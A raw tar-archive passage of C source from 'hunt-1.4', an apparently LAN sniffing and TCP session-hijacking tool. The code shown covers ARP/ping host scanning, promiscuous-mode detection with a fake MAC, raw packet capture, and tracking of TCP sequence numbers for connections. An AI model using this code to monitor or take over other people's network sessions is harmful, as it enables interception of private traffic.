send_arp_message(unsigned int ip, char *dst_mac) { struct arp_spec as; as.src_mac = my_eth_mac; as.dst_mac = dst_mac; as.oper = htons(ARPOP_REQUEST); as.sender_mac = my_eth_mac; as.sender_addr = my_eth_ip; as.target_mac = mac_zero; as.target_addr = ip; send_arp_packet(&as); } /* * it will be good idea to turn off the mac discoverer daemon */ static void perform_arp(struct host_up_info *hui, int count, int *up, unsigned char *fake_mac) { int j, idx; unsigned int ip, src_addr; struct arpeth_hdr *arpethh; struct timeval tv; struct timespec timeout; struct packet *p; printf("arp"); fflush(stdout); for (j = 1; j <= count; j++) { for (ip = hui->start_addr; ntohl(ip) <= ntohl(hui->end_addr); ip = htonl(ntohl(ip) + 1)) { idx = ntohl(ip) - ntohl(hui->start_addr); if (!up[idx]) { if (!fake_mac) send_arp_message(ip, mac_broadcast); else send_arp_message(ip, fake_mac); } } /* listen some time for reply */ gettimeofday(&tv, NULL); timeout.tv_sec = tv.tv_sec + 2; timeout.tv_nsec = tv.tv_usec * 1000; /* the received packets are ARP_REPLY - and from expected range from func_arp_packet */ while ((p = list_consume(&l_arp_packet, &timeout))) { arpethh = (struct arpeth_hdr *)(p->p_arph + 1); src_addr = *(unsigned int *) arpethh->ar_sip; if (memcmp(arpethh->ar_sha, p->p_ethh->h_source, ETH_ALEN) == 0 && memcmp(my_eth_mac, p->p_ethh->h_dest, ETH_ALEN) == 0 && memcmp(my_eth_mac, arpethh->ar_tha, ETH_ALEN) == 0 && *(unsigned int *) arpethh->ar_tip == my_eth_ip ) { /* sanity check that it was triggered by as */ idx = ntohl(src_addr) - ntohl(hui->start_addr); up[idx] = 1; host_lookup(src_addr, HL_MODE_DEFERRED); } packet_free(p); } printf("."); fflush(stdout); } printf("\n"); } static void list_host_up(struct host_up_info *hui, int *up) { unsigned int addr, idx; for (addr = hui->start_addr; ntohl(addr) <= ntohl(hui->end_addr); addr = htonl(ntohl(addr) + 1)) { idx = ntohl(addr) - ntohl(hui->start_addr); if ((up && up[idx]) || (!up && (hui->up_ping[idx] || hui->up_arp[idx]))) { printf("UP %s\n", host_lookup(addr, HL_MODE_DEFERRED)); } } } static void list_host_promisc(struct host_up_info *hui, int *promisc) { unsigned int addr, idx; for (addr = hui->start_addr; ntohl(addr) <= ntohl(hui->end_addr); addr = htonl(ntohl(addr) + 1)) { idx = ntohl(addr) - ntohl(hui->start_addr); if ((promisc && promisc[idx]) || (!promisc && (hui->promisc_ping[idx] || hui->promisc_arp[idx]))) { printf("in PROMISC MODE %s\n", host_lookup(addr, HL_MODE_DEFERRED)); } } } void host_up(void) { static unsigned int start_ip_def = 0, end_ip_def = 0; unsigned int start_ip, end_ip; struct ifunc_item ifunc_icmp; struct ifunc_item ifunc_arp; struct host_up_info *hui; struct timespec ts; unsigned int len; unsigned char buf_mac[BUFSIZE], fake_mac[ETH_ALEN]; if ((start_ip = menu_choose_hostname("start ip addr", host_lookup(start_ip_def, HL_MODE_NR))) == -1) return; if ((end_ip = menu_choose_hostname("end ip addr", host_lookup(end_ip_def, HL_MODE_NR))) == -1) return; if ((len = ntohl(end_ip) - ntohl(start_ip) + 1) < 0) { printf("bad addresses\n"); return; } start_ip_def = start_ip; end_ip_def = end_ip; hui = malloc(sizeof(struct host_up_info)); hui->start_addr = start_ip; hui->end_addr = end_ip; hui->up_ping = malloc(sizeof(int) * len); hui->promisc_ping = malloc(sizeof(int) * len); hui->up_arp = malloc(sizeof(int) * len); hui->promisc_arp = malloc(sizeof(int) * len); hui->up_len = len; memset(hui->up_ping, 0, sizeof(int) * len); memset(hui->promisc_ping, 0, sizeof(int) * len); memset(hui->up_arp, 0, sizeof(int) * len); memset(hui->promisc_arp, 0, sizeof(int) * len); switch (menu_choose_char("host up test (arp method) y/n", "yn", 'y')) { case 'y': ifunc_arp.func = func_arp_packet; ifunc_arp.arg = hui; list_enqueue(&l_ifunc_arp, &ifunc_arp); perform_arp(hui, 3, hui->up_arp, NULL); list_remove(&l_ifunc_arp, &ifunc_arp); packet_flush(&l_arp_packet); list_host_up(hui, hui->up_arp); break; } switch (menu_choose_char("host up test (ping method) y/n", "yn", 'y')) { case 'y': printf("mac discovery\n"); mac_discover_range(hui->start_addr, hui->end_addr, 2); ts.tv_sec = 1; ts.tv_nsec = 0; nanosleep(&ts, NULL); ifunc_icmp.func = func_icmp_packet; ifunc_icmp.arg = hui; list_enqueue(&l_ifunc_icmp, &ifunc_icmp); perform_ping(hui, 3, hui->up_ping, NULL); list_remove(&l_ifunc_icmp, &ifunc_icmp); packet_flush(&l_icmp_packet); list_host_up(hui, hui->up_ping); break; } switch (menu_choose_char("net ifc promisc test (arp method) y/n", "yn", 'y')) { case 'y': sprintf_eth_mac(buf_mac, suggest_mac()); if (menu_choose_mac("choose unused MAC in your network", fake_mac, buf_mac) >= 0) { ifunc_arp.func = func_arp_packet; ifunc_arp.arg = hui; list_enqueue(&l_ifunc_arp, &ifunc_arp); perform_arp(hui, 3, hui->promisc_arp, fake_mac); list_remove(&l_ifunc_arp, &ifunc_arp); packet_flush(&l_arp_packet); list_host_promisc(hui, hui->promisc_arp); } break; } switch (menu_choose_char("net ifc promisc test (ping method) y/n", "yn", 'y')) { case 'y': sprintf_eth_mac(buf_mac, suggest_mac()); if (menu_choose_mac("choose unused MAC in your network", fake_mac, buf_mac) >= 0) { ifunc_icmp.func = func_icmp_packet; ifunc_icmp.arg = hui; list_enqueue(&l_ifunc_icmp, &ifunc_icmp); perform_ping(hui, 3, hui->promisc_ping, fake_mac); list_remove(&l_ifunc_icmp, &ifunc_icmp); packet_flush(&l_icmp_packet); list_host_promisc(hui, hui->promisc_ping); } break; } free(hui->up_ping); free(hui->promisc_ping); free(hui->up_arp); free(hui->promisc_arp); free(hui); } hunt-1.4/hunt.c100644 0 0 60522 6740066701 11570 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include #ifndef IP_OFFMASK #define IP_OFFMASK 0x1fff #endif #ifndef IP_MF #define IP_MF 0x2000 #endif int linksock = -1; int mac_learn_from_ip = 0; int conn_list_mac = 0; int conn_list_seq = 0; struct hash conn_table; struct hash mac_table; int hunt_ready = 0; pthread_mutex_t mutex_hunt_ready = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond_hunt_ready = PTHREAD_COND_INITIALIZER; /* * list of struct packet_info with information which packets skip in process * of updating connection */ struct list l_skip_update = LIST_INIT(struct packet_info, next); /* * lists of functions which pass packets to modules */ struct list l_ifunc_ip = LIST_INIT(struct ifunc_item, next_ip); struct list l_ifunc_tcp = LIST_INIT(struct ifunc_item, next_tcp); struct list l_ifunc_udp = LIST_INIT(struct ifunc_item, next_udp); struct list l_ifunc_icmp = LIST_INIT(struct ifunc_item, next_icmp); struct list l_ifunc_arp = LIST_INIT(struct ifunc_item, next_arp); struct list l_ifunc_fast_tcp = LIST_INIT(struct ifunc_item, next_tcp); /* * * packet operations * */ static struct list l_packets = LIST_INIT(struct packet, p_next_free); int packets_allocated = 0; struct packet *packet_new(void) { struct packet *p; if (!(p = list_pop(&l_packets))) { if (!(p = malloc(sizeof(struct packet)))) { perror("malloc"); return NULL; } pthread_mutex_init(&p->p_mutex, NULL); p->p_use_count = 0; p->p_hdr.p_tcph = NULL; p->p_data = NULL; p->p_type = PACKET_NONE; p->p_ipc = 0; p->p_ipc_arg = NULL; packets_allocated++; } p->p_use_count = 1; return p; } void packet_copy_data(struct packet *dst, struct packet *src) { memcpy(dst->p_raw, src->p_raw, src->p_raw_len); dst->p_raw_len = src->p_raw_len; dst->p_type = src->p_type; dst->p_ethh = (struct ethhdr *)(dst->p_raw + ((char *)src->p_ethh - src->p_raw)); dst->p_iph = (struct iphdr *)(dst->p_raw + ((char *)src->p_iph - src->p_raw)); dst->p_arph = (struct arphdr *)(dst->p_raw + ((char *)src->p_arph - src->p_raw)); dst->p_hdr.p_tcph = (struct tcphdr *)(dst->p_raw + ((char *)src->p_hdr.p_tcph - src->p_raw)); dst->p_data_len = src->p_data_len; dst->p_data = dst->p_raw + (src->p_data - src->p_raw); memcpy(dst->p_arg, src->p_arg, sizeof(src->p_arg)); dst->p_ipc = src->p_ipc; dst->p_ipc_arg = src->p_ipc_arg; } void packet_free(struct packet *p) { int is_free; pthread_mutex_lock(&p->p_mutex); if (--p->p_use_count == 0) is_free = 1; else is_free = 0; pthread_mutex_unlock(&p->p_mutex); if (is_free) list_push(&l_packets, p); } void packet_want(struct packet *p) { pthread_mutex_lock(&p->p_mutex); ++p->p_use_count; pthread_mutex_unlock(&p->p_mutex); } void packet_flush(struct list *l) { struct packet *p; while ((p = list_pop(l))) packet_free(p); } void packet_preallocate(int count) { struct packet **p = alloca(count * sizeof(struct packet *)); int i; for (i = 0; i < count; i++) p[i] = packet_new(); for (i = 0; i < count; i++) packet_free(p[i]); } int packet_count(void) { return list_count(&l_packets); } /* * * TCP connection database * */ static inline void fill_uci(struct user_conn_info *uci, struct packet *p) { uci->src_addr = p->p_iph->saddr; uci->dst_addr = p->p_iph->daddr; uci->src_port = p->p_hdr.p_tcph->source; uci->dst_port = p->p_hdr.p_tcph->dest; } #if 0 static int ht_eq(unsigned int key, struct conn_info *c, struct packet *p) { if (c->src_addr == p->p_iph->saddr && c->dst_addr == p->p_iph->daddr && c->src_port == p->p_hdr.p_tcph->source && c->dst_port == p->p_hdr.p_tcph->dest) return 1; if (c->src_addr == p->p_iph->daddr && c->dst_addr == p->p_iph->saddr && c->src_port == p->p_hdr.p_tcph->dest && c->dst_port == p->p_hdr.p_tcph->source) return 1; return 0; } #endif static int ht_eq(unsigned int key, struct conn_info *c, struct user_conn_info *uci) { if (c->src_addr == uci->src_addr && c->dst_addr == uci->dst_addr && c->src_port == uci->src_port && c->dst_port == uci->dst_port) return 1; if (c->src_addr == uci->dst_addr && c->dst_addr == uci->src_addr && c->src_port == uci->dst_port && c->dst_port == uci->src_port) return 1; return 0; } void remove_conn_if_dont_match(void) { struct hash_iterator hi; struct conn_info *ci; unsigned int key; int count_to_remove = 0; unsigned int *key_to_remove; struct conn_info **ci_to_remove; hash_lock(&conn_table); count_to_remove = 0; key_to_remove = alloca(sizeof(unsigned int) * hash_count(&conn_table)); ci_to_remove = alloca(sizeof(struct conn_info *) * hash_count(&conn_table)); hash_iter_set(&hi, &conn_table); while ((ci = hash_iter_get(&hi, &key))) { if (!conn_add_match(ci->src_addr, ci->dst_addr, ci->src_port, ci->dst_port)) { ci_to_remove[count_to_remove] = ci; key_to_remove[count_to_remove++] = key; } } hash_iter_end(&hi); for ( ; count_to_remove >= 0; count_to_remove--) hash_remove(&conn_table, key_to_remove[count_to_remove], ci_to_remove[count_to_remove]); hash_unlock(&conn_table); } void conn_free(struct conn_info *ci) { int free_it; pthread_mutex_lock(&ci->mutex); if (--ci->use_count == 0) free_it = 1; else free_it = 0; pthread_mutex_unlock(&ci->mutex); if (free_it) free(ci); } struct conn_info *conn_get(struct user_conn_info *uci) { unsigned int key; struct conn_info *ci; key = uci_generate_key(uci); hash_lock(&conn_table); if ((ci = hash_get(&conn_table, key, uci))) { pthread_mutex_lock(&ci->mutex); ++ci->use_count; pthread_mutex_unlock(&ci->mutex); } hash_unlock(&conn_table); return ci; } int conn_exist(struct user_conn_info *uci) { unsigned int key; struct conn_info *ci; key = uci_generate_key(uci); if ((ci = hash_get(&conn_table, key, uci))) return 1; else return 0; } static int packet_match(struct packet_info *pi, struct packet *p) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; if (pi->src_addr == iph->saddr && pi->dst_addr == iph->daddr && pi->src_port == tcph->source && pi->dst_port == tcph->dest && pi->src.next_seq == tcph->seq && pi->src.next_d_seq == tcph->ack_seq && memcmp(pi->src.src_mac, p->p_ethh->h_source, ETH_ALEN) == 0 && memcmp(pi->src.dst_mac, p->p_ethh->h_dest, ETH_ALEN) == 0) return 1; else return 0; } static int conn_skip_update(struct conn_info *ci, struct packet *p) { struct list_iterator iter; struct packet_info *pi; list_iter_set(&iter, &l_skip_update); while ((pi = list_iter_get(&iter))) { if (packet_match(pi, p)) { list_iter_end(&iter); list_remove(&l_skip_update, pi); return 1; } } list_iter_end(&iter); return 0; } static void __conn_add(struct packet *p, unsigned int key) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; struct conn_info *ci; struct host_info *h_src, *h_dst; ci = malloc(sizeof(struct conn_info)); assert(ci); memset(ci, 0, sizeof(struct conn_info)); ci->use_count = 1; pthread_mutex_init(&ci->mutex, NULL); if (ntohs(tcph->dest) >= 1024 && ntohs(tcph->source) < 1024) { ci->src_addr = iph->daddr; ci->dst_addr = iph->saddr; ci->src_port = tcph->dest; ci->dst_port = tcph->source; h_src = &ci->dst; h_dst = &ci->src; } else { ci->src_addr = iph->saddr; ci->dst_addr = iph->daddr; ci->src_port = tcph->source; ci->dst_port = tcph->dest; h_src = &ci->src; h_dst = &ci->dst; } h_src->next_seq = htonl(ntohl(tcph->seq) + p->p_data_len + tcph->syn ? 1 : 0); if (tcph->ack) h_src->next_d_seq = tcph->ack_seq; h_src->window = tcph->window; h_src->id = iph->id; memcpy(h_src->dst_mac, p->p_ethh->h_dest, ETH_ALEN); memcpy(h_src->src_mac, p->p_ethh->h_source, ETH_ALEN); /* guess or try to fill h_dst too */ h_dst->next_seq = h_src->next_d_seq; h_dst->next_d_seq = h_src->next_seq; h_dst->window = tcph->window; h_dst->id = iph->id; memcpy(h_dst->dst_mac, h_src->src_mac, ETH_ALEN); memcpy(h_dst->src_mac, h_src->dst_mac, ETH_ALEN); hash_put(&conn_table, key, ci); print_new_conn_ind(1); } static void ack_storm_notify(struct conn_info *ci, struct user_conn_info *uci) { struct timeval tv; int print_it = 0; if (!ci->ack_storm_notify_sec) { gettimeofday(&tv, NULL); print_it = 1; } else { gettimeofday(&tv, NULL); if (tv.tv_sec - ci->ack_storm_notify_sec >= 10) print_it = 1; } if (print_it) { set_tty_color(COLOR_BRIGHTRED); printf("\nhunt: possible ACK storm: "); print_user_conn_info(uci, 1); set_tty_color(COLOR_LIGHTGRAY); ci->ack_storm_notify_sec = tv.tv_sec; } } static void conn_add_update(struct packet *p) { static struct user_conn_info last_toadd = {0, 0, 0, 0}; static int last_count = 0; unsigned int key; struct conn_info *ci; struct user_conn_info uci; unsigned int old_next_d_seq; fill_uci(&uci, p); key = uci_generate_key(&uci); hash_lock(&conn_table); if ((ci = hash_get(&conn_table, key, &uci)) && ht_eq(key, ci, &uci) == 1) { if (!conn_skip_update(ci, p)) { struct host_info *h_src, *h_dst; struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; if (ci->src_addr == iph->saddr && ci->dst_addr == iph->daddr && ci->src_port == tcph->source && ci->dst_port == tcph->dest) { h_src = &ci->src; h_dst = &ci->dst; } else { h_src = &ci->dst; h_dst = &ci->src; } old_next_d_seq = h_src->next_d_seq; h_src->next_seq = htonl(ntohl(tcph->seq) + p->p_data_len); if (tcph->ack) h_src->next_d_seq = tcph->ack_seq; h_src->id = iph->id; /* well, this should be in IP updater not in TCP */ h_src->window = tcph->window; /* well these can change too :-) */ memcpy(h_src->dst_mac, p->p_ethh->h_dest, ETH_ALEN); memcpy(h_src->src_mac, p->p_ethh->h_source, ETH_ALEN); /* * ACK storm detection */ h_src->delta_d_seq += ntohl(h_src->next_d_seq) - ntohl(old_next_d_seq); if (++ci->update_count % 400 == 0) { if (ci->src.delta_d_seq == 0 && ci->dst.delta_d_seq == 0) { ack_storm_notify(ci, &uci); } else { ci->src.delta_d_seq = 0; ci->dst.delta_d_seq = 0; } } } } else { /* test if we could add the connection */ if (p->p_data_len > 0) { /* * well, it contains data - add it */ if (conn_add_policy(p->p_iph, p->p_hdr.p_tcph)) __conn_add(p, key); } else { /* * well, check it this way because we don't want * to add RST, ACK to FIN, ... as connectinos. */ if ((last_toadd.src_addr == p->p_iph->saddr && last_toadd.dst_addr == p->p_iph->daddr && last_toadd.src_port == p->p_hdr.p_tcph->source && last_toadd.dst_port == p->p_hdr.p_tcph->dest) || (last_toadd.src_addr == p->p_iph->daddr && last_toadd.dst_addr == p->p_iph->saddr && last_toadd.src_port == p->p_hdr.p_tcph->dest && last_toadd.dst_port == p->p_hdr.p_tcph->source)) { if (++last_count >= 10) { last_count = 0; if (conn_add_policy(p->p_iph, p->p_hdr.p_tcph)) __conn_add(p, key); } } else { last_count = 0; last_toadd.src_addr = p->p_iph->saddr; last_toadd.dst_addr = p->p_iph->daddr; last_toadd.src_port = p->p_hdr.p_tcph->source; last_toadd.dst_port = p->p_hdr.p_tcph->dest; } } } hash_unlock(&conn_table); } static void conn_del(struct packet *p) { struct conn_info *ci; struct user_conn_info uci; unsigned int key; int remove_it = 0; #if 0 fill_uci(&uci, p); key = uci_generate_key(&uci); if ((ci = hash_remove(&conn_table, key, &uci))) { conn_free(ci); } #endif fill_uci(&uci, p); key = uci_generate_key(&uci); hash_lock(&conn_table); if ((ci = hash_get(&conn_table, key, &uci)) && ht_eq(key, ci, &uci) == 1) { if (!conn_skip_update(ci, p)) { if (p->p_iph->saddr == ci->src_addr && p->p_iph->daddr == ci->dst_addr && p->p_hdr.p_tcph->source == ci->src_port && p->p_hdr.p_tcph->dest == ci->dst_port) { /* from source to dest */ if (p->p_hdr.p_tcph->seq == ci->dst.next_d_seq) remove_it = 1; } else { /* from dest to source */ if (p->p_hdr.p_tcph->seq == ci->src.next_d_seq) remove_it = 1; } } } if (remove_it) { if (ci == hash_remove(&conn_table, key, &uci)) conn_free(ci); hash_unlock(&conn_table); } else { hash_unlock(&conn_table); conn_add_update(p); } } static void conn_add(struct packet *p) { struct conn_info *ci; struct user_conn_info uci; unsigned int key; fill_uci(&uci, p); key = uci_generate_key(&uci); hash_lock(&conn_table); if ((ci = hash_get(&conn_table, key, &uci)) && ht_eq(key, ci, &uci) == 1) { conn_add_update(p); #if 0 ci = hash_remove(&conn_table, key, &uci); hash_unlock(&conn_table); conn_free(ci); hash_lock(&conn_table); #endif } else { __conn_add(p, key); } hash_unlock(&conn_table); } static void conn_update_table(struct packet *p, struct ethhdr *ethh, struct iphdr *iph) { struct tcphdr *tcph = p->p_hdr.p_tcph; if (tcph->syn && !tcph->ack) { if (conn_add_policy(iph, tcph)) { conn_add(p); } } else if (tcph->rst || tcph->fin) { #if 0 if (conn_add_policy(iph, tcph)) #endif conn_del(p); } else { #if 0 if (conn_add_policy(iph, tcph)) #endif conn_add_update(p); } } /* * * function lists * */ static void process_tcp(struct packet *p) { struct ifunc_item *li; struct list_iterator iter; list_iter_set(&iter, &l_ifunc_tcp); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); } static void process_udp(struct packet *p) { struct ifunc_item *li; struct list_iterator iter; list_iter_set(&iter, &l_ifunc_udp); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); } static void process_icmp(struct packet *p) { struct ifunc_item *li; struct list_iterator iter; list_iter_set(&iter, &l_ifunc_icmp); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); } static void process_arp(struct packet *p) { struct ifunc_item *li; struct list_iterator iter; list_iter_set(&iter, &l_ifunc_arp); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); } static void process_ip(struct packet *p) { struct ifunc_item *li; struct list_iterator iter; list_iter_set(&iter, &l_ifunc_ip); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); } /* * sample of ifunc */ #if 0 struct list m_packet_list = LIST_INIT(struct packet, p_next[MODULE_NR]); void m_func_tcp(struct packet *p) { if (want_it) { packet_want(p); list_produce(&m_packet_list, p); } } #endif static inline void fast_tcp_process(struct packet *p) { struct list_iterator iter; struct ifunc_item *li; list_lock(&l_ifunc_fast_tcp); list_iter_set(&iter, &l_ifunc_fast_tcp); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); list_unlock(&l_ifunc_fast_tcp); } static void mac_table_update(unsigned int ip, char *mac) { struct mac_info *mi; hash_lock(&mac_table); if ((mi = hash_get(&mac_table, ip, NULL))) { if (memcmp(mi->mac, mac, sizeof(mi->mac))) { pthread_mutex_lock(&mi->mutex); memcpy(mi->mac, mac, sizeof(mi->mac)); pthread_mutex_unlock(&mi->mutex); } } else { mi = malloc(sizeof(struct mac_info)); assert(mi); memcpy(mi->mac, mac, sizeof(mi->mac)); pthread_mutex_init(&mi->mutex, NULL); hash_put(&mac_table, ip, mi); } hash_unlock(&mac_table); } struct mac_info *mac_info_get(unsigned int ip) { struct mac_info *mi; hash_lock(&mac_table); if ((mi = hash_get(&mac_table, ip, NULL))) { pthread_mutex_lock(&mi->mutex); } hash_unlock(&mac_table); return mi; } void mac_info_release(struct mac_info *mi) { pthread_mutex_unlock(&mi->mutex); } static void mac_arp_learn(struct packet *p) { unsigned int ip; char *mac; struct arpeth_hdr *arpethh; arpethh = (struct arpeth_hdr *)(p->p_arph + 1); if (p->p_arph->ar_op == htons(ARPOP_REPLY) || p->p_arph->ar_op == htons(ARPOP_REQUEST)) { ip = *(unsigned int *) arpethh->ar_sip; mac = arpethh->ar_sha; if (memcmp(mac, p->p_ethh->h_source, ETH_ALEN) == 0) mac_table_update(ip, mac); else fprintf(stderr, "ARP: MAC src != ARP src for host %s\n", host_lookup(ip, hl_mode)); } } static void mac_ip_learn(struct packet *p) { unsigned int ip; char *mac; ip = p->p_iph->saddr; mac = p->p_ethh->h_source; mac_table_update(ip, mac); /* * well, don't learn mac addresses from dst as they can be spoofed * (even though check can be made) */ } /* * * hunt * */ unsigned int pkts_received = 0; unsigned int pkts_dropped = 0; unsigned int pkts_unhandled = 0; unsigned int bytes_received = 0; void *hunt(void *arg) { struct packet *p; struct ethhdr *ethh; struct iphdr *iph; #ifdef WITH_RECVMSG struct msghdr msg; struct sockaddr_pkt spkt; struct iovec iov; #endif pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); if (verbose) printf("hunt pid %d\n", getpid()); add_telnet_rlogin_policy(); if (hash_init(&conn_table, 100, (hash_equal_func)ht_eq)) { /* Initialize hash table of connections */ perror("hash_init"); exit(1); } if (hash_init(&mac_table, 100, NULL)) { perror("hash init"); exit(1); } linksock = tap(eth_device, 1); /* Setup link socket */ if (linksock < 0) { perror("linksock"); exit(1); } packet_preallocate(64); printf("starting hunt\n"); setpriority(PRIO_PROCESS, getpid(), -20); pthread_mutex_lock(&mutex_hunt_ready); hunt_ready = 1; pthread_cond_signal(&cond_hunt_ready); pthread_mutex_unlock(&mutex_hunt_ready); while(1) { if (!(p = packet_new())) { fprintf(stderr, "can't get free packet - out of memory\n"); exit(1); } #ifdef WITH_RECVMSG memset(&msg, 0, sizeof(msg)); msg.msg_name = &spkt; msg.msg_namelen = sizeof(spkt); msg.msg_iovlen = 1; msg.msg_iov = &iov; iov.iov_base = p->p_raw; iov.iov_len = sizeof(p->p_raw); if ((p->p_raw_len = recvmsg(linksock, &msg, 0)) >= 0) #else if ((p->p_raw_len = recv(linksock, p->p_raw, sizeof(p->p_raw), 0)) > 0) #endif { pkts_received++; bytes_received += p->p_raw_len; /* * don't do continue or break without packet_free !! */ if (p->p_raw_len < 14) { pkts_dropped++; goto cont; } ALIGNPOINTERS_ETH(p, ethh); p->p_ethh = ethh; /* * in order to speed thinks as mutch as posible for arp stuff * the timestamp is moved to swtich p->p_timestamp = time(NULL); */ p->p_timestamp = 0; switch (ntohs(ethh->h_proto)) { case ETH_P_IP: p->p_timestamp = time(NULL); if (p->p_raw_len < 14 + 20) { pkts_dropped++; goto cont; } ALIGNPOINTERS_IP(ethh, iph); p->p_iph = iph; if (in_cksum((unsigned short *) iph, IP_HDR_LENGTH(iph)) == 0) { if (mac_learn_from_ip) mac_ip_learn(p); process_ip(p); /* drop IP fragments and ip packet len > p_raw_len */ if ((ntohs(iph->frag_off) & IP_OFFMASK) != 0 || (ntohs(iph->frag_off) & IP_MF) || (IP_HDR_LENGTH(iph) + IP_DATA_LENGTH(iph)) > p->p_raw_len) { pkts_dropped++; goto cont; } switch (iph->protocol) { case IPPROTO_TCP: if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 20) { pkts_dropped++; goto cont; } p->p_type = PACKET_TCP; ALIGNPOINTERS_TCP(iph, p->p_hdr.p_tcph, p->p_data); p->p_data_len = TCP_DATA_LENGTH(iph, p->p_hdr.p_tcph); if (ip_in_cksum(iph, (unsigned short *) p->p_hdr.p_tcph, IP_DATA_LENGTH(iph)) == 0) { conn_update_table(p, ethh, iph); fast_tcp_process(p); process_tcp(p); } else pkts_dropped++; break; case IPPROTO_UDP: if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 8) { pkts_dropped++; goto cont; } p->p_type = PACKET_UDP; ALIGNPOINTERS_UDP(iph, p->p_hdr.p_udph, p->p_data); /* check the UDP checksum */ process_udp(p); break; case IPPROTO_ICMP: if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 8) { pkts_dropped++; goto cont; } p->p_type = PACKET_ICMP; ALIGNPOINTERS_ICMP(iph, p->p_hdr.p_icmph, p->p_data); if (in_cksum((unsigned short *) p->p_hdr.p_icmph, IP_DATA_LENGTH(iph)) == 0) { process_icmp(p); } else pkts_dropped++; break; default: pkts_unhandled++; break; } } else pkts_dropped++; /* bad IP checksum */ break; case ETH_P_ARP: if (p->p_raw_len < 14 + 28) { pkts_dropped++; goto cont; } p->p_type = PACKET_ARP; ALIGNPOINTERS_ARP(ethh, p->p_arph); /* do process arp first - in order to do it as fast as posible arpspoof needs it */ process_arp(p); p->p_timestamp = time(NULL); /* well, the process_arp does not get timestamp */ mac_arp_learn(p); break; default: pkts_unhandled++; break; } } cont: packet_free(p); } return NULL; } /* * * helper functions * */ void print_tcp(struct iphdr *ip, struct tcphdr *tcp) { fprintf(stdout, "%s [%d] seq=(%u) ack=(%u)\t--->\t%s [%d]\n", host_lookup(ip->saddr, hl_mode), ntohs(tcp->source), (unsigned int) ntohl(tcp->seq), tcp->ack ? (unsigned int) ntohl(tcp->ack_seq) : 0, host_lookup(ip->daddr, hl_mode), ntohs(tcp->dest)); } static int fill_space_to(char *b, int pos, int where) { if (pos >= 0 && pos < where) { return sprintf(b, "%*s", where - pos, ""); } else return 0; } int conn_list(struct user_conn_info **ruci, char **rbuf, int with_mac, int with_seq) { struct hash_iterator iter; struct conn_info *ci; struct user_conn_info *uci; int i, count; char *b, *b_old, *buf; hash_lock(&conn_table); count = hash_count(&conn_table); if (!count) { hash_unlock(&conn_table); if (ruci) *ruci = NULL; if (rbuf) *rbuf = NULL; return 0; } if (rbuf) { buf = malloc(count * 512); assert(buf); b = buf; } else b = buf = NULL; if (ruci) { uci = malloc(count * sizeof(struct user_conn_info)); assert(uci); } else uci = NULL; i = 0; hash_iter_set(&iter, &conn_table); while ((ci = hash_iter_get(&iter, NULL)) && i < count) { if (b) { b_old = b; b += sprintf(b, "%d) %s [%s]", i, host_lookup(ci->src_addr, hl_mode), port_lookup(ci->src_port, hl_mode)); b += fill_space_to(b, b - b_old, 30); b += sprintf(b, " --> "); b += sprintf(b, "%s [%s]\n", host_lookup(ci->dst_addr, hl_mode), port_lookup(ci->dst_port, hl_mode)); if (with_seq) { b_old = b; b += sprintf(b, " seq=(%u) ack=(%u)", (unsigned int) ntohl(ci->src.next_seq), (unsigned int) ntohl(ci->src.next_d_seq)); b += fill_space_to(b, b - b_old, 45); b += sprintf(b, " seq=(%u) ack=(%u)\n", (unsigned int) ntohl(ci->dst.next_seq), (unsigned int) ntohl(ci->dst.next_d_seq)); } if (with_mac) { b_old = b; b += sprintf(b, " src mac="); b += sprintf_eth_mac(b, ci->src.src_mac); b += fill_space_to(b, b - b_old, 45); b += sprintf(b, " src mac="); b += sprintf_eth_mac(b, ci->dst.src_mac); b += sprintf(b, "\n"); b_old = b; b += sprintf(b, " dst mac="); b += sprintf_eth_mac(b, ci->src.dst_mac); b += fill_space_to(b, b - b_old, 45); b += sprintf(b, " dst mac="); b += sprintf_eth_mac(b, ci->dst.dst_mac); b += sprintf(b, "\n"); } } if (uci) { uci[i].src_addr = ci->src_addr; uci[i].dst_addr = ci->dst_addr; uci[i].src_port = ci->src_port; uci[i].dst_port = ci->dst_port; } i++; } hash_iter_end(&iter); hash_unlock(&conn_table); if (ruci) *ruci = uci; if (rbuf) *rbuf = buf; return count; } void print_mac_table(void) { struct hash_iterator hi; char buf[BUFSIZE]; unsigned int key; struct mac_info *mi; int i = 0; printf("--- mac table ---\n"); hash_iter_set(&hi, &mac_table); while ((mi = hash_iter_get(&hi, &key))) { sprintf_eth_mac(buf, mi->mac); printf("%-24s %s\n", host_lookup(key, hl_mode), buf); if (++i % lines_o == 0) lines_o_press_key(); } hash_iter_end(&hi); } void print_user_conn_info(struct user_conn_info *uci, int count) { int i, ret; for (i = 0; i < count; i++) { ret = printf("%d) %s [%s]", i, host_lookup(uci->src_addr, hl_mode), port_lookup(uci->src_port, hl_mode)); printf("%*s", 25 - ret > 0 ? 20 - ret : 0, ""); printf(" --> "); printf("%s [%s]\n", host_lookup(uci->dst_addr, hl_mode), port_lookup(uci->dst_port, hl_mode)); } } hunt-1.4/macdisc.c100644 0 0 14151 6664056301 12212 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include void mac_discover_range(unsigned int start_ip, unsigned int end_ip, int count) { unsigned int addr, j; struct timespec ts; for (j = 1; j <= count; j++) { for (addr = start_ip; ntohl(addr) <= ntohl(end_ip); addr = htonl(ntohl(addr) + 1)) { mac_discover(addr, 1); } 